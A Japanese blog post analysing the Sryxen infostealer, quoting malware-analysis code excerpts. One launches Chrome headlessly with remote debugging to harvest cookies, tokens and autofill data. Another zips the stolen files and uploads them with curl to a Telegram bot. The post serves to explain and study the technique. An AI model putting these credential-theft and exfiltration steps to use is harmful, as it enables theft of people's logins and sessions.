Slapdash Safeguards

にわか仕込みのセキュリティ

「Sryxen」バックグラウンドでのブラウザ実行でブラウザに保存された認証情報を盗む

ブラウザに保存された認証情報は簡単にはアクセスできず、Windowsに保存されたキー(DPAPI)で保護されている。

通常、起動中のブラウザによってこの鍵を使うことで、ブラウザに保存された認証情報を読んでいる。

Sryxen Stealerはブラウザをヘッドレス(バックグラウンド)で起動して、認証情報を盗む。

別に目新しい手法でも無いとは思うが、具体的どのように行われるかは知らなかった。

Chromeのヘッドレス起動

DECEPTIQの解析より、起動時のオプションは以下のよう。

// core.cpp - Launch Chrome with remote debugging
std::wstring cmdLine = L"\"" + browserPath + L"\" --headless " +
    L"--user-data-dir=\"" + userData + L"\" " +
    L"--remote-debugging-port=" + std::to_wstring(port) + L" " +
    L"--remote-allow-origins=* " +
    L"--disable-extensions --no-sandbox --disable-gpu";

CreateProcessW(browserPath.c_str(), cmdLineVec.data(), NULL, NULL, FALSE,
    CREATE_NO_WINDOW, NULL, NULL, &si, &pi);


--headless
ブラウザをGUIなしで実行しバックグラウンドで動作
--user-data-dir="<path>"
ユーザープロファイルを指定して実行。ユーザープロファイルごとにログオン状態のデータを盗むため。
--remote-debugging-port=<port>
Chrome DevTools Protocolへのリモートアクセスを有効化。デバッグポートでCLIでコントロールできるようにする。
--remote-allow-origins=*
すべてのオリジンからのデバッグ接続を許可。実行制限回避。
--disable-extensions
セキュリティ拡張機能やパスワード保護拡張、その他作業の妨げになりそうな拡張機能を無効化。
--no-sandbox
Chromeサンドボックス保護を無効化
--disable-gpu
GPU処理は要らないからでは。

起動前には、%LOCALAPPDATA%\Google\Chrome\User Data\Defaultにどんなプロファイルがあるか特定しているはず。
CDP経由でWebSocket接続して、プロファイルごとに全Cookie取得、LocalStorageやSessionStorageからトークン抽出して、自動入力(autofill)の情報とかも抜いている。

盗んだ情報は、まとめてtelegramへ

DECEPTIQの解析より、以下のようにzipしてcurlでtelegramに送っている。

// Sryxen.cpp - Exfiltration

// Compress with PowerShell
std::string command = "powershell -Command Compress-Archive -Path \"" + folderPath +
    "\" -DestinationPath \"" + zipFileName + "\" >nul 2>&1";
system(command.c_str());

// Upload via curl to Telegram
std::string curlCommand = "curl -F \"chat_id=" + std::string(CHAT_ID) + "\" "
    + "-F \"document=@\\\"" + zipFileNameStr + "\\\"\" "
    + "https://api.telegram.org/bot" + std::string(BOT_TOKEN) + "/sendDocument";
system(curlCommand.c_str());


よくあるtelegramに盗んだ情報を集約してる系の手法。discordに集めるやつもあるが、telegramの方がまだ匿名性的にマシなのか?